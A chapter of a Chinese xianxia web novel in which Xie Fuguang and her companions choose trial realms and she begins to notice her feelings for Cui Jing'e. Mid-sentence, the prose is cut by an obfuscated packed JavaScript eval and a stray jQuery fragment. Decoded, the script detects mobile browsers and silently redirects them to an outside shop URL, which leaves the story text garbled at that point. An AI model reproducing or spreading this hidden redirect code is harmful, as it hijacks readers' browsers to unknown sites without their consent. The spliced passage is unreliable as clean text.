那年崔惊厄只有十四岁,习剑不过七年。
他是天生的剑道奇才,悟性资质俱佳,胆子也大,背着掌门偷跑去霁宁渊游历,遇妖魔欺辱渊中待产蛟龙,明知打不过,依然逞着一腔少年意气出手相助。
崔惊厄九死一生,在关键时刻顿悟,修为提升,竟打退了那只魔。只是那母龙本就元气大伤,产子又耗尽精气,母龙子龙俱是气息奄奄。
最后还是崔惊厄为小龙渡了些修为,又在剑中开一空间作为它的庇护所,这才护住幼龙一命。
那即是现在的小美人。
许是受过崔惊厄修为养护的原因,小龙与他之间有着一荣俱荣的隐秘关联。
这也是为什么生死门前崔惊厄有所好转,小美人才能出剑抵住顶板的坍塌。
谢扶光也是刚出世娘就失踪了,和同样没娘的小美人有那么点同病相怜,想到它趴伏在指间的柔软触感,突然有那么点后悔,应当对它更好一点。
“你打算什么时候走?”舒扬舟问谢扶光。
他话不多,黎暨与卢笑绒攀谈期间始终沉默,一开口又续上之前的话。
“我不跟你走。”
说实话,舒扬舟会来找她,她其实相当意外。因为她与舒扬舟不算多亲近的关系,甚至可以说相当疏远。
饶是外界多称她与舒扬舟为渡业山双璧,肝胆相照共同撑起渡业山的荣华,但两位当事人眼中,对于彼此,只有强者间共性的欣赏而已。
谢扶光试想,若她得知舒扬舟置身危险,她大概……
嘶,这么一想,虽然从小就跟这师兄并不亲近,但他若遇上事,她还真不会置之不顾。
但若是她,大概会与他一同入险境,痛痛快快并肩杀上一场,体会体会传闻中“肝胆相照”的滋味。
舒扬舟成日昂着个骄傲的脑袋,一副凡夫俗子莫挨老子的拽样,谢扶光原本以为他是那种说一不二,不容任何忤逆的性子,两人没准儿得因回不回去这事儿掰扯许久,甚至大打上一架。
哪知舒扬舟闻言很快开口:“哦,那你打算捣点什么乱,说来听听,有趣的话我不介意帮忙。”
他双手环臂,懒洋洋倚靠门框,姿态舒展,松弛程度堪与崔癫子媲美。但他又与崔惊厄不同,崔惊厄是真的不在乎别人眼里他什么样,而她师兄……
呵,舒扬舟每一个动作的每一个幅度,都像精心设计好的。
谢扶光一时不知怎么接话,原因很幼稚,单纯是直说想继续闯关太无趣了,她不想被他看扁。
这种感觉很微妙,仿佛他们并非冷淡如冰,而是从小比到大,在拌嘴中亲密无间的那种师兄妹。
于是她端起骄矜姿态,像在卖关子:“我自有我的原因。”
天色已晚,几人又围着烛火聊了一会儿,达成一致休整一夜,翌日清早再组队前去下一秘境。
谢扶光在逼仄的小驿站凑合一夜,崔惊厄那句“麻雀虽小五脏俱全”所说不错,这里环境虽拥挤,外头夜间的风沙全无半点侵袭进来,是个遮风挡雨的好场所。
临行前,崔惊厄还不忘往水壶里灌满了劣质茶。
众人将灵力注入各自舆图,第二阶段的二百新秘境登时浮现。
“选哪个,我跟着你。”舒扬舟言简意赅。
谢扶光看着舆图,一阵沉默。
但见二百新秘境中,有三个都闪烁着和器墓迷阵相似的微光。
“这个,这个,还有这个,”她说,“这三个里你任意挑吧。”
她指出的三个秘境挨得极近,在舆图上近乎重叠。
舒扬舟瞥了一眼,神色没什么变化,身后黎暨打着哈欠探头过来,舒扬舟把谢扶光圈出的三个指给他看,黎暨跟那三个秘境大眼瞪小眼好半晌,依旧没看出什么所以然。
谢扶光暗自打量他们的面色,确信他们是真的看不到舆图上的暗光标记,对幻境中所谓天道的话又信了三分。
“大小姐精挑细选的三个?”崔惊厄睡醒后神清气爽,半点瞧不出昨日要死要活的样,饶有兴致打量着那三个秘境,半开玩笑,“怎么选的?晚上做梦?神仙指路?”
还真让他猜对大半。
谢扶光学着他打太极:“是啊,神仙说,天机不可泄露。”
“到底选哪个?”
“我跟着大小姐。”卢笑绒表态,站到谢扶光身后。
崔惊厄挤了挤她,自觉站到旁边。
舒扬舟看着比驿站还挤的三个秘境,修长食指向中间一伸:“这个吧。万一人超了,往旁边走也方便。”
万里悲丘的试炼除去秘境闯关,还有一大难处:各秘境皆有其人数范围,低于一定人数不能开启,高于一定人数又需要削减,一日内仅可利用舆图完成一次传递。
所以大家选择秘境时多半不会选在穷乡僻壤,不然一旦人超了,周围秘境点又相隔太远,就会很耽误事。
过往弟子们因为试炼资格大打出手,并不算罕见事。
众人将灵力注入相应秘境,崔大神棍还煞有介事口头上敬了句先祖,以借他们在天之灵的好运。
骤然一阵天旋地转,持续两息的眩晕之后,他们一齐降落到最终选择的秘境地点。
好消息:舆图的传送是正常的,他们没有被传到诸如镜面阵之类的危险场所;
坏消息:选定的秘境前,漂浮着一块飞来石,其上烫金大字写着“本秘境仅限两人”。
“临行前,师父交代我出门在外多看着你些,”舒扬舟最先表态,还搬出谢白扇,“你得跟着我。”
谢扶光没有异议,她有种隐隐的跃跃欲试,想知道当置身同一秘境,她和舒扬舟哪个更强。
他们师兄妹多年,还从没并肩战斗过。
卢笑绒扁扁嘴,但还是妥协说:“那我去隔壁秘境吧。”
隔壁秘境距离谢扶光选的秘境相当近,近得像依附它而生。
“啊,这个也只需要两人……”卢笑绒看看崔惊厄,又看看黎暨,对他露出个抱歉的笑,反手招呼,“崔大哥!”
黎暨本着找崔惊厄一块热闹而来,不料崔惊厄被卢笑绒扣下不说,原先的同伴舒扬舟也跟着师妹跑了。
他生无可恋,控诉了其余几人好一会儿,这才往剩的最后一个秘境走去。
还算走运,这个秘境没有设置最低人数,他至少不用再等其他弟子来。
灵力注入飞来石,即可进入秘境。
舒扬舟在飞来石前站定,双臂环胸回头睨她,谢扶光认得那眼神,是要与她秘境中一争高低的跃跃欲试。
按道理,她应当扬着下巴,回以一记冷眼,快步迎上。
可她忽然就顿了步子。
想不通出于什么,她就这么转过头,就这么正对上十余步之遥崔惊厄的眼,就这么冒出一个荒唐念头:那双眼仿佛已等了她很久。
“崔惊厄。”
心尖轻轻一跳,她就这么唤出声。
万里悲丘的清晨静谧非常,浓雾罩着太阳,映得黄沙都泛起湿漉漉的凉。
他们一朝聚一朝散,如骤雨一闪。
天气晴好,人走茶冷,故事也多半没了下文。
谢扶光眉眼恹然半垂,这会儿恍然惊觉,刨去先前的“病秧子”、“大神棍”、“大骗子”……她还是第一次正经念他的名。
“怎么了,大小姐?”似乎觉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12967970|133453||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
得远距离喊话没意思,崔惊厄径直走过来问。
他来时笼着朝阳的雾气恰好消散,日光喷薄在他面上,衬出双眼明湛,又经残雾化开,某个瞬间折射出凄迷的光。
他走过来,谢扶光才发现她根本没什么要同他讲,只好无病呻吟几句:“没什么,就是……保护好卢笑绒,还有,别再用右手剑了。”
“哦。”他噙着抹吊儿郎当的笑,应下后也没急着走,反而问她,“那我还有个疑问,大小姐之前想对我说什么?”
谢扶光当他看出了她刚刚是在没话找话说,习惯性以冷脸压他:“我原本想说的就是这个,你质疑我?”
“我是说之前,”崔惊厄提醒,“在见到第一枚铜钱之前。”
顺着他的话,谢扶光终于想起那时:
她走在前,后头崔惊厄存在感强得令她无法忽略,于是她刹住步子,打算叫他上前两步,与她并肩而行。
只是不待出口,就被突然出现的铜钱搅黄了。
那会儿她以为自己是厌恶他在身后存在感太强,此刻想想又不然。
她似乎只是觉得,单纯地觉得,他就是该站在她旁边。
静默少顷,不知出于什么缘由,她骗他说:“过去太久,我不记得了。”
“这样啊,”崔惊厄遗憾似的,“那大小姐在下个秘境好好想想,出来再告诉我吧。”
“走了!”他含笑转身,红衣背影灼灼,走出几步还背对她伸手往后扬了扬。
“回见,大小姐!”
看着那背影,谢扶光那点不痛快蓦然就散去了。
她浅浅勾唇,在万里悲丘荒凉的清晨,突然就想起九年前的一个春日。
那是为数不多她能够记清的细节。
那年她初拿到霜寒十四式的刀谱,放眼修真界年轻一代,独她一人有练此刀法的资格。
曾经她以为她会不眠不休夜以继日修习,直至将这套刀法深印进骨髓里,成为身体的一部分。
然而那天,她一如往常,打坐、习刀、安寝……
诚然,刀道之巅高不可测,而彼时春光正好,她时值年少,恰是相信来日方长的年岁,自信给她几年时间,凭她的天资,定能攀上那山外山。
而就在刚刚,从崔惊厄转身后的挥手里,她读出了同样一份不急。
忘了哪一次下山,途经哪一间茶馆。
街道恰好拥挤,让她迈不开步;茶馆门帘也恰好半开,泻出只字片语。
不知在说哪段戏文,说书人的声音穿越记忆而来,像蒙着层雾气,竟恍惚与崔惊厄的重合。
“……总有那么个人,你看他第一眼,就知道你们之间故事还没完……”
没有前因,也无后果,她只记住了这样一句。
当年的谢扶光曾穿过那半卷纱帘,看进去一眼。
当时的太阳太烈,她与那说书人相隔一段日光、几米石街,模糊了两张脸。
她收回视线,咀嚼着那句“故事还没完”,漠然穿越裂开条缝隙的人群……
那时日光,恰如今日。
挪动步子,她站定在飞来石前。
灵力滴入,众人身影瞬间消失。
他们不知道,在这一霎,三个秘境皆发生了变化:
两条红线分别探出崔惊厄和谢扶光的秘境,疯狂生长延伸,直至相交缠绕。由红线牵引,两个秘境竟一点点靠近,最终融合为一。
与此同时,黎暨进入的秘境兀地闪烁起绿光,绿光浮动间,这最后的秘境也借着另两个秘境移动的劲力,飞蛾扑火般融入进去,与之合为一体的瞬间,绿光一滞,紧接着两个黑影交替一闪,像什么被替换掉了。